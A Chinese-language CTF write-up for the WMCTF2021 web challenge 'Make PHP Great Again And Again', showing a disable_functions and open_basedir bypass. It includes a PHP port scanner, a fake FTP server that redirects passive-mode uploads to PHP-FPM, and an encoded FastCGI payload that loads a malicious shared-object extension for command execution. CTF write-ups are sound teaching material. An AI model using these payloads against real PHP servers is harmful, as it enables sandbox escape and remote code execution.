前言

来写写 WMCTF2021 上 Web 类 Make PHP Great Again And Again 的 WriteUp。

这个题题源来自我给CISCN西南赛区出的一个 Web 题,那个题目本身是一个存在任意文件写入点的系统,很多选手当时兴冲冲的找到那个写入点,写了个 Webshell 进去才发现噩梦刚刚开始。因为这个题 flag 是 700 权限,需要执行一个 具有 SUID 权限的命令之后才能拿到 flag。但本身环境限制死了 Disabled Functions,又观察到运行的环境是 Nginx + PHP-FPM,就想着从 FPM 这块入手。但又发现 Curl 和 Socket Client 这类函数都用不了了,我们无法直接通过 SSRF 去攻击 FPM,那么这时候又想到通过 FTP 被动模式去 SSRF 打 FPM,但又会因为靶机不出网(流量是 Nginx 转发进内网的,Nginx->靶机)而无法通过连接在外的恶意 FTP 服务器进行攻击。所以就需要曲线救国,利用 PHP 在本地构造一个 FTP 服务器,让 FPM 去连接到这个服务器就好。

那么咱们这个题也是,给了一个代码执行点,可以传 PHP 代码进去。

靶机已关闭,可使用 hint2 的附件:https://wmctf2021-1251267611.file.myqcloud.com/Make%20PHP%20Great%20And%20Great%20Again%20Dockerfile.zip 自己进行本地复现。

题目信息

Description:

三句话让FPM为我RCE,我是一个很善于让PHP为我RCE的精通代码审计的安全研究员,前两天嘞我与一个朋友日站,当我坐下来的时候我直接问了一句,哇塞我今天好牛逼,给你个机会夸夸我。他哈哈大笑,一时半会儿嘞都没有回过神来,这种啦就是典型的菜鸡,然后我坐下来继续问我们玩个问答游戏吧,他说你问我答,我说你知道在我眼里你什么时候最帅吗?他说我不知道,所以菜鸡很无趣。普通安全研究员呢这时候会说你为我日下目标的时候最帅,但是我说什么呢,你为我信息收集,打点成功,横向移动的时候最帅,他又是一份意想不到的狂喜,接下来的全程呢我什么也不用干,他还屁颠儿屁颠地为我日站,吃到最后我说来你给我来一个权限,奖励我这么有眼光跟天下第一帅的大佬日站,好开心呀。最后呢,他非常开心的把站就日了,这次我们共攻陷了十五万八千六百个资产,回到家的时候我打开手机一看,这个男人给我送了一个一万八千八的权限,说了一句,和你在一起真开心,一个安全研究员说话有趣很重要,会调戏菜鸡更重要。先敬于礼乐野人也,后敬于礼乐君子也。

靶机每五分钟重置一次。

Let FPM be my RCE in three sentences. Maybe You have a 0day?
Challenge Instance will be reset every 5 minutes.

Challenge:
http://118.190.153.142:20001~20010 all same

Hint:

Hint1: 做好信息收集嗷/Do Better in Collection of information
Hint2: https://wmctf2021-1251267611.file.myqcloud.com/Make%20PHP%20Great%20And%20Great%20Again%20Dockerfile.zip Dockerfile of this challenge, use it in your case. This is pull from instance container host and just replace replace flag with fake one:) / 靶机的 Dockerfile,刚从宿主机上拖下来,新鲜热乎,只是换了下 flag。
Hint3:由于有人写入大量文件搅屎,靶机网站目录(/var/www/html)调整为文件不能落地(755)了,已同步到上面的 Dockerfile,请继续尝试,你可以在这种情况下攻击成功的。:) / Due to amount of malicious requests the disk was full, and we have set the permission to 755 for /var/www/html,and You can get flag in this case, keep up~

总体思路以及解题情况

总体思路如下:

信息收集找到 FPM 端口 -> 本地用 PHP 搭建一个 FTP 服务器 -> file_put_contents 到 FTP 服务器,FTP 服务器转入被动模式,让 PHP 把让 PHP 设置 open_basedir 的数据发送到 FPM 端口上 -> 构造文件上传把 so 上传到 /tmp 下 -> file_put_contents 到 FTP 服务器,FTP 服务器转入被动模式,让 PHP 把让 PHP 加载 so 扩展的数据发送到 FPM 端口上 -> 利用扩展执行命令 -> 拿到 flag

解题情况呢,还是不错的,在第二个和第三个提示在半夜放出后,一血队伍 Ph0t1n1a 在中国时间凌晨四点获得一血。看来提示让题目难度大大降低了:)之后 Nu1L 和 Synclover 也解出了此题,非常赞。比较可惜的一点就是没有人用非预期解,这题其实我一直在希望看见非预期,毕竟要真非预期了那就是 Bypass disable function 有新方法了:-P

步骤

  1. 打开靶机看看,就三行代码。

2.简单做一下信息收集。首先是 phpinfo。

GG。

那么利用其他的函数来收集下信息。比如,利用 get_cfg_var 这个函数读取PHP 参数。

http://127.0.0.1:20001/?glzjin=var_dump(get_cfg_var(%27disable_functions%27)); 读取下 disable_functions

string(657) "stream_socket_client,fsockopen,pfsockopen,ini_alter,ini_set,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive"

屏蔽了很多票函数,SSRF 请求的,命令执行的,都屏蔽了。

再来看看 open_basedir

http://127.0.0.1:20001/?glzjin=var_dump(get_cfg_var(%27open_basedir%27));

string(14) "/var/www/html/"

还有 open_basedir。

3. 那么来扫一下本机开放的端口吧。

for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

又或者用 file_get_contents 和 error_get_last 获取到请求中发生的错误,进行循环判断也可进行端口扫描。

for($i=0;$i<65535;$i++) {
  $t=file_get_contents('http://127.0.0.1:'.$i);
  if(!strpos(error_get_last()['message'], "Connection refused")) {
    var_dump($i);
  }
}

好了,发现 11451 端口每次靶机重置之后都是开着的,说明这个端口应该就是 FPM 的端口了,开干。

4. 用 FTP 的被动模式来SSRF,需要首先有一个恶意的 FTP 服务器。得用 PHP 本地启动一个。懒得写了,直接用一血队伍 Ph0t1n1a 的 Payload 了。

$socket = stream_socket_server("tcp://0.0.0.0:46819", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, "210 Fake FTP\n");
    $line = fgets($conn);
    echo $line; // USER
    fwrite($conn, "230 Login successful\n");
    $line = fgets($conn);
    echo $line; // TYPE
    fwrite($conn, "200 xx\n");
    $line = fgets($conn);
    echo $line; // SIZE
    fwrite($conn, "550 xx\n");
    $line = fgets($conn);
    echo $line; // EPSV
    fwrite($conn, "500 wtf\n");
    $line = fgets($conn);
    echo $line; // PASV

    // $ip = '192.168.1.4';
    $ip = '127.0.0.1';
    $port = 11451;
    $porth = floor($port / 256);
    $portl = $port % 256;
    fwrite($conn, "227 Entering Passive Mode. ".str_replace('.',',',$ip).",$porth,$portl\n");
    $line = fgets($conn);
    echo $line; // STOR

    fwrite($conn, "125 GOGOGO!\n");
    sleep(1);
    fwrite($conn, "226 Thanks!\n");
    fclose($conn);
  }
  fclose($socket);
}

模拟 FTP 服务器,接受连接,进入被动模式,让客户端能把数据发到指定的端口上,这里就是发送到 FPM 的端口 11415。

然后写一个 file_put_contents,把数据发过去。数据可用 https://github.com/tarunkant/Gopherus 生成。这里我们加了一个 open_basedir 的限制。

$payload=urldecode('%01%01%11-%00%08%00%00%00%01%00%00%00%00%00%00%01%04%11-%01%DD%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH67%09%10PHP_VALUEopen_basedir%20%3D%20/%0F%27PHP_ADMIN_VALUEextension_dir%20%3D%20/tmp%0Aextension%20%3D%20ant.so%01%04%11-%00%00%00%00%01%05%11-%00C%00%00%3C%3Fphp%20var_dump%28scandir%28%22/%22%29%29%3Bfile_put_contents%28%22/tmp/abc%22%2C%20%22haha%22%29%3B%01%05%11-%00%00%00%00');
file_put_contents('ftp://127.0.0.1:46819/aaa',$payload);

这段 url encoded 的文本解码之后是这样的:

注意 open_basedir 和 extension_dir 还有 extension。

这样目前的作用就是先把 open_basedir 给解放了,然后会加载 /tmp 下的 ant.so 扩展。

这时候你要去读取 flag,会发现无法读取,需要执行系统命令来读取。

5.然后上传一个 so 上去,加载进去来执行命令。

6. 这时需要重新执行一下第四步,让这个 so 被加载。

7. 然后就可以用下面这个 Payload 来执行命令读取 flag 了。

file_put_contents("/tmp/xxxxxx","cat /flag");antsystem("qwq");var_dump(file_get_contents("/tmp/yyyyyy"));unlink("/tmp/xxxxxx");unlink("/tmp/yyyyyy");unlink("/tmp/ant.so");

上面那个 so 他们依据 自己魔改了一下,从 /tmp/xxxxxx 读取命令去执行然后把结果放到 /tmp/yyyyyy 了。

6. 拿到 flag~